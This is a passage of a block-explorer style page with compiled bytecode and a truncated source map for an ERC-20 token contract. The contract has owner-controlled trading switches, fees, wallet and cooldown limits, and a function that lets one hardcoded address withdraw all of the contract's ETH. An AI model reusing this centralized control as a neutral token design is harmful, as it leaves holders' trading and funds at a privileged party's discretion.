b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008383600b60029054906101000a900460ff168061149457506009546001600160a01b038381169116145b806114b757506001600160a01b0382166000908152600e602052604090205460ff165b6115035760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610781565b6001600160a01b0386166115675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610781565b6001600160a01b0385166115c95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610781565b8315806115d85750600b5460ff165b156115ef576115e8868686611a49565b92506118a6565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161415801561164a57506001600160a01b0385166000908152600e602052604090205460ff16155b801561166457506009546001600160a01b03868116911614155b156116fc576116756012600a6122c6565b611681906115666122d5565b6001600160a01b0386166000908152600160205260409020546116a4908661234d565b11156116fc5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b6064820152608401610781565b60035460ff16801561172757506001600160a01b03861660009081526005602052604090205460ff16155b801561174c57506001600160a01b03851660009081526005602052604090205460ff16155b1561178357600061175d8787611b4a565b905061176881611b77565b6001600160a01b031660009081526006602052604090204390555b600b54610100900460ff16801561179d5750600b5460ff16155b80156117db57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614155b801561180057506001600160a01b0386166000908152600e602052604090205460ff16155b801561182557506001600160a01b0385166000908152600e602052604090205460ff16155b15611832576118326118af565b600b546001600160a01b0387166000908152600e602052604090205460ff9182161591168061187957506001600160a01b0386166000908152600e602052604090205460ff165b15611882575060005b801561189b57611893878787611c19565b9350506118a6565b611893878787611a49565b50509392505050565b600b805460ff1916600117905560006118dd306001600160a01b031660009081526001602052604090205490565b90506127106118ee6012600a6122c6565b6118fa906115666122d5565b6119059060056122d5565b61190f91906122ec565b811080611921575061191f611c5c565b155b1561192c57506119ed565b61271061193b6012600a6122c6565b611947906115666122d5565b6119529060056122d5565b61195c91906122ec565b6119679060146122d5565b8111156119ac5761271061197d6012600a6122c6565b611989906115666122d5565b6119949060056122d5565b61199e91906122ec565b6119a99060146122d5565b90505b476119b682611c81565b60006119c2824761230e565b905080156119e9576119e960036119da8360026122d5565b6119e491906122ec565b611e0a565b5050505b600b805460ff19169055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03831660009081526001602052604081205482811015611ab25760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e636500000000006044820152606401610781565b6001600160a01b038086166000908152600160205260408082208054879003905591861681529081208054859290611aeb90849061234d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b3791815260200190565b60405180910390a3506001949350505050565b6000823b1580611b595750813b155b611b6257600080fd5b823b15611b705750806106ee565b50816106ee565b6001600160a01b0381166000908152600660205260408120541580611bca5750611ba243600161234d565b6004546001600160a01b038416600090815260066020526040902054611bc8919061234d565b105b9050806108675760405162461bcd60e51b815260206004820152601a60248201527f4d6178207478206672657175656e6379206578636565646564210000000000006044820152606401610781565b600080611c27858585611e63565b90508015611c4857611c3a853083611a49565b50611c45818461230e565b92505b611c53858585611a49565b95945050505050565b6000600d5443118015610812575050436000908152600f602052604090205460021190565b436000908152600f60205260408120805491611c9c83612360565b90915550506040805160028082526060820183526000926020830190803683370190505090503081600081518110611cd657611cd6612321565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6c91906123af565b81600181518110611d7f57611d7f612321565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611dd79085906000908690309042906004016123cc565b600060405180830381600087803b158015611df157600080fd5b505af1925050508015611e02575060015b610867575050565b600a546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611e57576040519150601f19603f3d011682016040523d82523d6000602084013e611e5c565b606091505b5050505050565b6000600d546000108015611e78575043600d54105b15611edf5760647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614611ec057600754611ec4565b6008545b611ece90846122d5565b611ed891906122ec565b90506109f6565b60647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614611f2257600754611f26565b6008545b611f3090846122d5565b6109f391906122ec565b600060208083528351808285015260005b81811015611f6757858101830151858201604001528201611f4b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086b57600080fd5b60008060408385031215611fb057600080fd5b8235611fbb81611f88565b946020939093013593505050565b801515811461086b57600080fd5b600060208284031215611fe957600080fd5b81356109f681611fc9565b6000806040838503121561200757600080fd5b50508035926020909101359150565b60006020828403121561202857600080fd5b81356109f681611f88565b60008060006060848603121561204857600080fd5b833561205381611f88565b9250602084013561206381611f88565b929592945050506040919091013590565b60006020828403121561208657600080fd5b5035919050565b60008083601f84011261209f57600080fd5b50813567ffffffffffffffff8111156120b757600080fd5b6020830191508360208260051b85010111156120d257600080fd5b9250929050565b6000806000604084860312156120ee57600080fd5b833567ffffffffffffffff81111561210557600080fd5b6121118682870161208d565b909450925050602084013561212581611fc9565b809150509250925092565b6000806040838503121561214357600080fd5b823561214e81611f88565b9150602083013561215e81611fc9565b809150509250929050565b6000806040838503121561217c57600080fd5b823561218781611f88565b9150602083013561215e81611f88565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561221d578160001904821115612203576122036121cc565b8085161561221057918102915b93841c93908002906121e7565b509250929050565b600082612234575060016106ee565b81612241575060006106ee565b816001811461225757600281146122615761227d565b60019150506106ee565b60ff841115612272576122726121cc565b50506001821b6106ee565b5060208310610133831016604e8410600b84101617156122a0575081810a6106ee565b6122aa83836121e2565b80600019048211156122be576122be6121cc565b029392505050565b60006109f660ff841683612225565b80820281158282048414176106ee576106ee6121cc565b60008261230957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106ee576106ee6121cc565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052600160045260246000fd5b808201808211156106ee576106ee6121cc565b600060018201612372576123726121cc565b5060010190565b60006020828403121561238b57600080fd5b5051919050565b6000602082840312156123a457600080fd5b81516109f681611fc9565b6000602082840312156123c157600080fd5b81516109f681611f88565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561241c5784516001600160a01b0316835293830193918301916001016123f7565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201a12dba91dee43b99e6f15c0496bd3cfbba4f238b619afce763e57bb01b5e23964736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c80636ddd17131161010d5780639686d322116100a0578063d2f4a50a1161006f578063d2f4a50a146105f0578063d53a822f14610637578063dd62ed3e14610657578063e303e6621461069d578063f2fde38b146106bd57600080fd5b80639686d32214610570578063a9059cbb14610590578063c492f046146105b0578063d2a09c71146105d057600080fd5b806382247ec0116100dc57806382247ec0146104f95780638a8c523c1461050e5780638da5cb5b1461052357806395d89b411461054157600080fd5b80636ddd17131461045f57806370a082311461047e578063715018a6146104b457806374378132146104c957600080fd5b80631b9152bf1161018557806349bd5a5e1161015457806349bd5a5e146103bd5780634fbee193146103f15780635b895c291461042a57806364e329e31461043f57600080fd5b80631b9152bf1461034c57806323b872dd146103615780633049b58014610381578063313ce567146103a157600080fd5b80630e5a9231116101c15780630e5a9231146102b45780631694505e146102d757806318160ddd146103175780631a6952301461032c57600080fd5b806306fdde03146101fe578063095ea7b31461024257806309fb5639146102725780630b78f9c01461029457600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082019091526009815268119d58dad2985c995960ba1b60208201525b6040516102399190611f3a565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611f9d565b6106dd565b6040519015158152602001610239565b34801561027e57600080fd5b5061029261028d366004611fd7565b6106f4565b005b3480156102a057600080fd5b506102926102af366004611ff4565b610748565b3480156102c057600080fd5b506102c96107c5565b604051908152602001610239565b3480156102e357600080fd5b506102ff737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610239565b34801561032357600080fd5b506102c96107f8565b34801561033857600080fd5b50610292610347366004612016565b610817565b34801561035857600080fd5b5061029261086e565b34801561036d57600080fd5b5061026261037c366004612033565b61091c565b34801561038d57600080fd5b5061029261039c366004612074565b6109fd565b3480156103ad57600080fd5b5060405160128152602001610239565b3480156103c957600080fd5b506102ff7f000000000000000000000000d1aba0504d3a2f247be21272b929434279e038b281565b3480156103fd57600080fd5b5061026261040c366004612016565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561043657600080fd5b50610292610ac9565b34801561044b57600080fd5b5061029261045a3660046120d9565b610b74565b34801561046b57600080fd5b50600b5461026290610100900460ff1681565b34801561048a57600080fd5b506102c9610499366004612016565b6001600160a01b031660009081526001602052604090205490565b3480156104c057600080fd5b50610292610c26565b3480156104d557600080fd5b506007546008546104e4919082565b60408051928352602083019190915201610239565b34801561050557600080fd5b506102c9610c69565b34801561051a57600080fd5b50610292610c81565b34801561052f57600080fd5b506000546001600160a01b03166102ff565b34801561054d57600080fd5b5060408051808201909152600681526511929054915160d21b602082015261022c565b34801561057c57600080fd5b5061029261058b366004612130565b610d3c565b34801561059c57600080fd5b506102626105ab366004611f9d565b610dde565b3480156105bc57600080fd5b506102926105cb3660046120d9565b610deb565b3480156105dc57600080fd5b506102926105eb366004611fd7565b610fa3565b3480156105fc57600080fd5b50600954600a54610617916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610239565b34801561064357600080fd5b50610292610652366004611fd7565b611095565b34801561066357600080fd5b506102c9610672366004612169565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106a957600080fd5b506102926106b8366004612016565b6110f5565b3480156106c957600080fd5b506102926106d8366004612016565b6112c8565b60006106ea33848461136f565b5060015b92915050565b6009546001600160a01b0316331461070b57600080fd5b6003805460ff19168215159081179091556040517f7fc281b886d2b464428d21902edc6f02d5d8badcefcaf0f1bafc043c51244be090600090a250565b3361075b6000546001600160a01b031690565b6001600160a01b03161461078a5760405162461bcd60e51b815260040161078190612197565b60405180910390fd5b60078290556008819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06890600090a35050565b6127106107d46012600a6122c6565b6107e0906115666122d5565b6107eb9060056122d5565b6107f591906122ec565b81565b60006108066012600a6122c6565b610812906115666122d5565b905090565b3373600516db2ed4eb667d4084e5db30ad725d8dde3b036101f9576040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610867573d6000803e3d6000fd5b5050565b50565b336108816000546001600160a01b031690565b6001600160a01b0316146108a75760405162461bcd60e51b815260040161078190612197565b600047116108f05760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b6044820152606401610781565b60405133904780156108fc02916000818181858888f1935050505015801561086b573d6000803e3d6000fd5b6001600160a01b0383166000908152600260209081526040808320338452909152812054600019146109e8576001600160a01b0384166000908152600260209081526040808320338452909152902054828110156109bc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e63650000006044820152606401610781565b506001600160a01b03841660009081526002602090815260408083203384529091529020805483900390555b6109f3848484611468565b90505b9392505050565b6009546001600160a01b03163314610a1457600080fd5b600081118015610a245750600481105b610a965760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c65000000006064820152608401610781565b600481905560405181907fb1af3fca46cbc4b6ceb19173da47e172fd99155f6c0cd5c0797cdd11056efd7890600090a250565b33610adc6000546001600160a01b031690565b6001600160a01b031614610b025760405162461bcd60e51b815260040161078190612197565b3060009081526001602052604081205411610b6a5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b6064820152608401610781565b610b726118af565b565b33610b876000546001600160a01b031690565b6001600160a01b031614610bad5760405162461bcd60e51b815260040161078190612197565b600d546001148015610bbd575080155b610bc657600080fd5b8282610bd360038261230e565b818110610be257610be2612321565b6020029190910135600c55508282610bfb60018261230e565b818110610c0a57610c0a612321565b90506020020135600c5410610c2157610c21612337565b505050565b33610c396000546001600160a01b031690565b6001600160a01b031614610c5f5760405162461bcd60e51b815260040161078190612197565b610b7260006119f9565b610c756012600a6122c6565b6107f5906115666122d5565b33610c946000546001600160a01b031690565b6001600160a01b031614610cba5760405162461bcd60e51b815260040161078190612197565b600b5462010000900460ff16158015610cd45750600d5415155b610cdd57600080fd5b600c54610cea904361234d565b600d6000828254610cfb919061234d565b9091555050600b805462ff00001916620100001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b33610d4f6000546001600160a01b031690565b6001600160a01b031614610d755760405162461bcd60e51b815260040161078190612197565b306001600160a01b03831603610d8a57600080fd5b6001600160a01b038216600081815260056020526040808220805460ff191685151590811790915590519092917f85649af0309729cae07d0c038ebb0ce8b1652c1e2e9226993e8123ac60022ba191a35050565b60006109f6338484611468565b33610dfe6000546001600160a01b031690565b6001600160a01b031614610e245760405162461bcd60e51b815260040161078190612197565b60005b82811015610f9d57811515600e6000868685818110610e4857610e48612321565b9050602002016020810190610e5d9190612016565b6001600160a01b0316815260208101919091526040016000205460ff16151503610ed85760405162461bcd60e51b815260206004820152602660248201527f546f6b656e3a206164647265737320616c7265616479207b73686f756c644578604482015265636c7564657d60d01b6064820152608401610781565b81600e6000868685818110610eef57610eef612321565b9050602002016020810190610f049190612016565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811515848483818110610f4157610f41612321565b9050602002016020810190610f569190612016565b6001600160a01b03167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a380610f9581612360565b915050610e27565b50505050565b33610fb66000546001600160a01b031690565b6001600160a01b031614610fdc5760405162461bcd60e51b815260040161078190612197565b801515600b60019054906101000a900460ff161515036110505760405162461bcd60e51b815260206004820152602960248201527f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f756044820152686c64456e61626c657d60b81b6064820152608401610781565b600b805461ff001916610100831515908102919091179091556040517fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c890600090a250565b336110a86000546001600160a01b031690565b6001600160a01b0316146110ce5760405162461bcd60e51b815260040161078190612197565b600b5462010000900460ff161580156110e45750805b6110ed57600080fd5b506001600d55565b336111086000546001600160a01b031690565b6001600160a01b03161461112e5760405162461bcd60e51b815260040161078190612197565b306001600160a01b038216036111905760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b6064820152608401610781565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156111d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111fb9190612379565b9050600081116112575760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b6064820152608401610781565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af11580156112a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c219190612392565b336112db6000546001600160a01b031690565b6001600160a01b0316146113015760405162461bcd60e51b815260040161078190612197565b6001600160a01b0381166113665760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610781565b61086b816119f9565b6001600160a01b0383166113bb5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610781565b6001600160a01b0382166114075760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610781565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008383600b60029054906101000a900460ff168061149457506009546001600160a01b038381169116145b806114b757506001600160a01b0382166000908152600e602052604090205460ff165b6115035760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610781565b6001600160a01b0386166115675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610781565b6001600160a01b0385166115c95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610781565b8315806115d85750600b5460ff165b156115ef576115e8868686611a49565b92506118a6565b7f000000000000000000000000d1aba0504d3a2f247be21272b929434279e038b26001600160a01b0316856001600160a01b03161415801561164a57506001600160a01b0385166000908152600e602052604090205460ff16155b801561166457506009546001600160a01b03868116911614155b156116fc576116756012600a6122c6565b611681906115666122d5565b6001600160a01b0386166000908152600160205260409020546116a4908661234d565b11156116fc5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b6064820152608401610781565b60035460ff16801561172757506001600160a01b03861660009081526005602052604090205460ff16155b801561174c57506001600160a01b03851660009081526005602052604090205460ff16155b1561178357600061175d8787611b4a565b905061176881611b77565b6001600160a01b031660009081526006602052604090204390555b600b54610100900460ff16801561179d5750600b5460ff16155b80156117db57507f000000000000000000000000d1aba0504d3a2f247be21272b929434279e038b26001600160a01b0316866001600160a01b031614155b801561180057506001600160a01b0386166000908152600e602052604090205460ff16155b801561182557506001600160a01b0385166000908152600e602052604090205460ff16155b15611832576118326118af565b600b546001600160a01b0387166000908152600e602052604090205460ff9182161591168061187957506001600160a01b0386166000908152600e602052604090205460ff165b15611882575060005b801561189b57611893878787611c19565b9350506118a6565b611893878787611a49565b50509392505050565b600b805460ff1916600117905560006118dd306001600160a01b031660009081526001602052604090205490565b90506127106118ee6012600a6122c6565b6118fa906115666122d5565b6119059060056122d5565b61190f91906122ec565b811080611921575061191f611c5c565b155b1561192c57506119ed565b61271061193b6012600a6122c6565b611947906115666122d5565b6119529060056122d5565b61195c91906122ec565b6119679060146122d5565b8111156119ac5761271061197d6012600a6122c6565b611989906115666122d5565b6119949060056122d5565b61199e91906122ec565b6119a99060146122d5565b90505b476119b682611c81565b60006119c2824761230e565b905080156119e9576119e960036119da8360026122d5565b6119e491906122ec565b611e0a565b5050505b600b805460ff19169055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03831660009081526001602052604081205482811015611ab25760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e636500000000006044820152606401610781565b6001600160a01b038086166000908152600160205260408082208054879003905591861681529081208054859290611aeb90849061234d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b3791815260200190565b60405180910390a3506001949350505050565b6000823b1580611b595750813b155b611b6257600080fd5b823b15611b705750806106ee565b50816106ee565b6001600160a01b0381166000908152600660205260408120541580611bca5750611ba243600161234d565b6004546001600160a01b038416600090815260066020526040902054611bc8919061234d565b105b9050806108675760405162461bcd60e51b815260206004820152601a60248201527f4d6178207478206672657175656e6379206578636565646564210000000000006044820152606401610781565b600080611c27858585611e63565b90508015611c4857611c3a853083611a49565b50611c45818461230e565b92505b611c53858585611a49565b95945050505050565b6000600d5443118015610812575050436000908152600f602052604090205460021190565b436000908152600f60205260408120805491611c9c83612360565b90915550506040805160028082526060820183526000926020830190803683370190505090503081600081518110611cd657611cd6612321565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6c91906123af565b81600181518110611d7f57611d7f612321565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611dd79085906000908690309042906004016123cc565b600060405180830381600087803b158015611df157600080fd5b505af1925050508015611e02575060015b610867575050565b600a546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611e57576040519150601f19603f3d011682016040523d82523d6000602084013e611e5c565b606091505b5050505050565b6000600d546000108015611e78575043600d54105b15611edf5760647f000000000000000000000000d1aba0504d3a2f247be21272b929434279e038b26001600160a01b0316846001600160a01b031614611ec057600754611ec4565b6008545b611ece90846122d5565b611ed891906122ec565b90506109f6565b60647f000000000000000000000000d1aba0504d3a2f247be21272b929434279e038b26001600160a01b0316856001600160a01b031614611f2257600754611f26565b6008545b611f3090846122d5565b6109f391906122ec565b600060208083528351808285015260005b81811015611f6757858101830151858201604001528201611f4b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461086b57600080fd5b60008060408385031215611fb057600080fd5b8235611fbb81611f88565b946020939093013593505050565b801515811461086b57600080fd5b600060208284031215611fe957600080fd5b81356109f681611fc9565b6000806040838503121561200757600080fd5b50508035926020909101359150565b60006020828403121561202857600080fd5b81356109f681611f88565b60008060006060848603121561204857600080fd5b833561205381611f88565b9250602084013561206381611f88565b929592945050506040919091013590565b60006020828403121561208657600080fd5b5035919050565b60008083601f84011261209f57600080fd5b50813567ffffffffffffffff8111156120b757600080fd5b6020830191508360208260051b85010111156120d257600080fd5b9250929050565b6000806000604084860312156120ee57600080fd5b833567ffffffffffffffff81111561210557600080fd5b6121118682870161208d565b909450925050602084013561212581611fc9565b809150509250925092565b6000806040838503121561214357600080fd5b823561214e81611f88565b9150602083013561215e81611fc9565b809150509250929050565b6000806040838503121561217c57600080fd5b823561218781611f88565b9150602083013561215e81611f88565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561221d578160001904821115612203576122036121cc565b8085161561221057918102915b93841c93908002906121e7565b509250929050565b600082612234575060016106ee565b81612241575060006106ee565b816001811461225757600281146122615761227d565b60019150506106ee565b60ff841115612272576122726121cc565b50506001821b6106ee565b5060208310610133831016604e8410600b84101617156122a0575081810a6106ee565b6122aa83836121e2565b80600019048211156122be576122be6121cc565b029392505050565b60006109f660ff841683612225565b80820281158282048414176106ee576106ee6121cc565b60008261230957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106ee576106ee6121cc565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052600160045260246000fd5b808201808211156106ee576106ee6121cc565b600060018201612372576123726121cc565b5060010190565b60006020828403121561238b57600080fd5b5051919050565b6000602082840312156123a457600080fd5b81516109f681611fc9565b6000602082840312156123c157600080fd5b81516109f681611f88565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561241c5784516001600160a01b0316835293830193918301916001016123f7565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201a12dba91dee43b99e6f15c0496bd3cfbba4f238b619afce763e57bb01b5e23964736f6c63430008130033
Deployed Bytecode Sourcemap
2551:13037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5957:80;;;;;;;;;;-1:-1:-1;6029:5:0;;;;;;;;;;;;-1:-1:-1;;;6029:5:0;;;;5957:80;;;;;;;:::i;:::-;;;;;;;;6293:161;;;;;;;;;;-1:-1:-1;6293:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6293:161:0;1023:187:1;14559:176:0;;;;;;;;;;-1:-1:-1;14559:176:0;;;;;:::i;:::-;;:::i;:::-;;8103:213;;;;;;;;;;-1:-1:-1;8103:213:0;;;;;:::i;:::-;;:::i;2999:65::-;;;;;;;;;;;;;:::i;:::-;;;1983:25:1;;;1971:2;1956:18;2999:65:0;1837:177:1;3816:93:0;;;;;;;;;;;;3866:42;3816:93;;;;;-1:-1:-1;;;;;2197:32:1;;;2179:51;;2167:2;2152:18;3816:93:0;2019:217:1;5687:88:0;;;;;;;;;;;;;:::i;13087:209::-;;;;;;;;;;-1:-1:-1;13087:209:0;;;;;:::i;:::-;;:::i;9270:180::-;;;;;;;;;;;;;:::i;6929:492::-;;;;;;;;;;-1:-1:-1;6929:492:0;;;;;:::i;:::-;;:::i;14743:352::-;;;;;;;;;;-1:-1:-1;14743:352:0;;;;;:::i;:::-;;:::i;5781:80::-;;;;;;;;;;-1:-1:-1;5781:80:0;;2735:2;3281:36:1;;3269:2;3254:18;5781:80:0;3139:184:1;3916:38:0;;;;;;;;;;;;;;;8754:123;;;;;;;;;;-1:-1:-1;8754:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;8843:26:0;8819:4;8843:26;;;:17;:26;;;;;;;;;8754:123;9854:164;;;;;;;;;;;;;:::i;9601:245::-;;;;;;;;;;-1:-1:-1;9601:245:0;;;;;:::i;:::-;;:::i;3989:30::-;;;;;;;;;;-1:-1:-1;3989:30:0;;;;;;;;;;;6043:103;;;;;;;;;;-1:-1:-1;6043:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6126:18:0;6109:7;6126:18;;;:9;:18;;;;;;;6043:103;2069:94;;;;;;;;;;;;;:::i;3568:51::-;;;;;;;;;;-1:-1:-1;3568:51:0;;;;;;;;;;;;;4653:25:1;;;4709:2;4694:18;;4687:34;;;;4626:18;3568:51:0;4479:248:1;2943:49:0;;;;;;;;;;;;;:::i;15333:215::-;;;;;;;;;;;;;:::i;1850:87::-;;;;;;;;;;-1:-1:-1;1896:7:0;1923:6;-1:-1:-1;;;;;1923:6:0;1850:87;;5867:84;;;;;;;;;;-1:-1:-1;5941:7:0;;;;;;;;;;;;-1:-1:-1;;;5941:7:0;;;;5867:84;;15103:222;;;;;;;;;;-1:-1:-1;15103:222:0;;;;;:::i;:::-;;:::i;6778:143::-;;;;;;;;;;-1:-1:-1;6778:143:0;;;;;:::i;:::-;;:::i;8324:422::-;;;;;;;;;;-1:-1:-1;8324:422:0;;;;;:::i;:::-;;:::i;7857:238::-;;;;;;;;;;-1:-1:-1;7857:238:0;;;;;:::i;:::-;;:::i;3628:179::-;;;;;;;;;;-1:-1:-1;3628:179:0;;;;;;-1:-1:-1;;;;;3628:179:0;;;;;;;;;;;-1:-1:-1;;;;;5920:15:1;;;5902:34;;5972:15;;;;5967:2;5952:18;;5945:43;5837:18;3628:179:0;5690:304:1;9458:135:0;;;;;;;;;;-1:-1:-1;9458:135:0;;;;;:::i;:::-;;:::i;6152:133::-;;;;;;;;;;-1:-1:-1;6152:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6254:19:0;;;6236:7;6254:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6152:133;8885:377;;;;;;;;;;-1:-1:-1;8885:377:0;;;;;:::i;:::-;;:::i;2171:192::-;;;;;;;;;;-1:-1:-1;2171:192:0;;;;;:::i;:::-;;:::i;6293:161::-;6370:4;6387:37;6396:10;6408:7;6417:6;6387:8;:37::i;:::-;-1:-1:-1;6442:4:0;6293:161;;;;;:::o;14559:176::-;14637:7;:22;-1:-1:-1;;;;;14637:22:0;14623:10;:36;14615:45;;;;;;14671:7;:16;;-1:-1:-1;;14671:16:0;;;;;;;;;;14705:22;;;;-1:-1:-1;;14705:22:0;14559:176;:::o;8103:213::-;1994:10;1983:7;1896;1923:6;-1:-1:-1;;;;;1923:6:0;;1850:87;1983:7;-1:-1:-1;;;;;1983:21:0;;1975:66;;;;-1:-1:-1;;;1975:66:0;;;;;;;:::i;:::-;;;;;;;;;8191:11:::1;:28:::0;;;8230:19;:30;;;8278::::1;::::0;8252:8;;8212:7;;8278:30:::1;::::0;8191:18:::1;::::0;8278:30:::1;8103:213:::0;;:::o;2999:65::-;3059:5;3116:13;2735:2;3116;:13;:::i;:::-;2914:22;;:4;:22;:::i;:::-;3040:16;;:1;:16;:::i;:::-;:24;;;;:::i;:::-;2999:65;:::o;5687:88::-;5742:7;3116:13;2735:2;3116;:13;:::i;:::-;2914:22;;:4;:22;:::i;:::-;5753:19;;5687:88;:::o;13087:209::-;13144:10;13158:42;13144:56;13141:147;;13215:49;;-1:-1:-1;;;;;13215:24:0;;;13241:21;13215:49;;;;;;;;;13241:21;13215:24;:49;;;;;;;;;;;;;;;;;;;;;13087:209;:::o;13141:147::-;13087:209;:::o;9270:180::-;1994:10;1983:7;1896;1923:6;-1:-1:-1;;;;;1923:6:0;;1850:87;1983:7;-1:-1:-1;;;;;1983:21:0;;1975:66;;;;-1:-1:-1;;;1975:66:0;;;;;;;:::i;:::-;9352:1:::1;9328